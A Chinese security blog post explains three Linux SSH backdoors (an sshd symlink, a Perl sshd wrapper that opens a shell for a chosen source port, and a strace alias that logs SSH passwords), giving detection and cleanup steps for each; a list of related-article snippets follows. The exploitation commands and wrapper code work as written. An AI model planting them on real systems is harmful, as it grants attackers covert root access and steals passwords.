Linux SSH Backdoor分析排查
1、SSH后门分类
SSH后门方式有以下几种
- 软链接
- SSH Server wrapper
- SSH Keylogger
2、软链接
- 利用方法
[root@helen]# ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
- 排查方法
[root@helen]# netstat -anop

通过开发端口信息的PID查询进程路径,【ll /proc/xxxx】命令查看程序对应的路径。

- 清除后门
kill -9 pid
rm -rf 后门程序
3、SSH Server wrapper
- 利用方法
先将/usr/sbin/sshd文件mv到/usr/bin目录
[root@helen ~]# cd /usr/sbin/
[root@helen sbin]# mv sshd ../bin
[root@helen sbin]# vim sshd
再编辑sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
再设置权限
chmod 755 sshd
攻击者:
在本机上执行socat STDIO TCP4:target_ip:22,sourceport=19526

- 排查方法
查看端口可以看到网络外链的端口

因为正常的sshd路径是在/usr/sbin/sshd,通过命令【ll /proc/xxx】查看sshd的路径路径在/usr/bin/sshd。所以断定sshd被动过手脚。
通过查看sshd文件可得知sshd的确被动过手脚。
cat /usr/sbin/sshd
- 清除后门
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
4、SSH Keylogger
- 利用方法
编辑当前用户下的.bashrc文件
vi /root/.bashrc
在最后面添加如下后门代码:
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
【source .bashrc】命令使更改的配置生效

ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里
- 排查方法
排查环境变量
- 清除后门
清空增加的环境变量内容
5、参考
https://joychou.org/hostsec/linux-ssh-backdoor.html
http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951
Linux SSH Backdoor分析排查的更多相关文章
- Linux系统及应用问题分析排查工具
linux 阿里技术协会 摘要: Linux服务器上经常遇到一些系统和应用上的问题,如何分析排查,需要利器,下面总结列表了一些常用工具.trace tool:最后也列举了最近hadoop社区在开发发展 ...
- Linux ssh登陆慢的两种原因分析
Linux ssh登陆慢的两种原因分析 如果做运维就一定会遇到ssh登陆Linux服务器慢的问题,问题比较好解决,一般Google之后有很多文章都告诉你解决方法,但是很少有文章分析为什么会慢,这篇文章 ...
- Linux安全事件应急响应排查方法总结
Linux安全事件应急响应排查方法总结 Linux是服务器操作系统中最常用的操作系统,因为其拥有高性能.高扩展性.高安全性,受到了越来越多的运维人员追捧.但是针对Linux服务器操作系统的安全事件也非 ...
- Linux SSH登录服务器报ECDSA host key "ip地址" for has changed and you have requested strict checking.错误
Linux SSH命令用了那么久,第一次遇到这样的错误:ECDSA host key "ip地址" for has changed and you have requested ...
- Linux入侵类问题排查思路
深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...
- 技能篇:linux服务性能问题排查及jvm调优思路
只要业务逻辑代码写正确,处理好业务状态在多线程的并发问题,很少会有调优方面的需求.最多就是在性能监控平台发现某些接口的调用耗时偏高,然后再发现某一SQL或第三方接口执行超时之类的.如果你是负责中间件或 ...
- 《Unix/Linux网络日志分析与流量监控》获2015年度最受读者喜爱的IT图书奖
<Unix/Linux网络日志分析与流量监控>获2015年度最受读者喜爱的IT图书奖.刊登在<中华读书报>( 2015年01月28日 19 版) 我的2015年新作刊登在< ...
- 如何通过linux ssh远程linux不用输入密码登入
如何通过一台linux ssh远程其他linux服务器时,不要输入密码,可以自动登入.提高远程效率,不用记忆各台服务器的密码. 工具/原料 ssh,ssh-keygen,scp 方法/步骤 首 ...
- windows 和 linux ssh互连
从windows连接到linux: linux开启sshd服务即可,主要是windows的配置如下: 1.使用软件,putty可以直接使用 2.使用cmd控制台连接linux,安装SSH Secure ...
随机推荐
- SQLServer 重建索引前后对比 (转)
https://www.cnblogs.com/mingl12/p/5730178.html
- Day24-part1-原生Ajax
参考老师博客:http://www.cnblogs.com/wupeiqi/articles/5703697.html 主要讲了:发数据的3种方式以及上传文件的3种方式.(后续需要总结) 一,原生Aj ...
- System Board Replacement Notice
System Board Replacement Notice System Board Replacement Notice for TP 770E and TP 600 Restoring the ...
- AptanaStudio3+PHP程序远程调试的方法和步骤
php是执行在服务器上的脚本程序,通常调试bug,直接在浏览器页面就可以打印出错误信息,凭此基本能解决所有bug,但是有时候,可以说大多数时候,php会直接处理客户端的请求,作为数据接口传递数据,没有 ...
- 【BZOJ3294】放棋子(动态规划,容斥,组合数学)
[BZOJ3294]放棋子(动态规划,容斥,组合数学) 题面 BZOJ 洛谷 题解 如果某一行某一列被某一种颜色给占了,那么在考虑其他行的时候可以直接把这些行和这些列给丢掉. 那么我们就可以写出一个\ ...
- C++中三种传递参数方法的效率分析
众所周知,在C++中有三种参数传递的方式: 按值传递(pass by value) #include <iostream> using namespace std; void swap(i ...
- ActiveMQ反序列化漏洞(CVE-2015-5254)复现
0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...
- 什么是 metadata (元数据)
1. 什么是元数据 任何文件系统中的数据分为数据和元数据.数据是指普通文件中的实际数据,而元数据指用来描述一个文件的特征的系统数据,诸如访问权限.文件拥有者以及文件数据块的分布信息(inode...) ...
- Android系统权限和root权限
Android系统权限和root权限http://www.verydemo.com/demo_c189_i277.html
- 【noip模拟】D(==)
Portal --> who knows == Description 数轴上面有一些洞,有一些老鼠,每个洞有一个容量限制,一只位于\(x\)的老鼠进到位于\(y\)的洞要花费\(|x-y|\) ...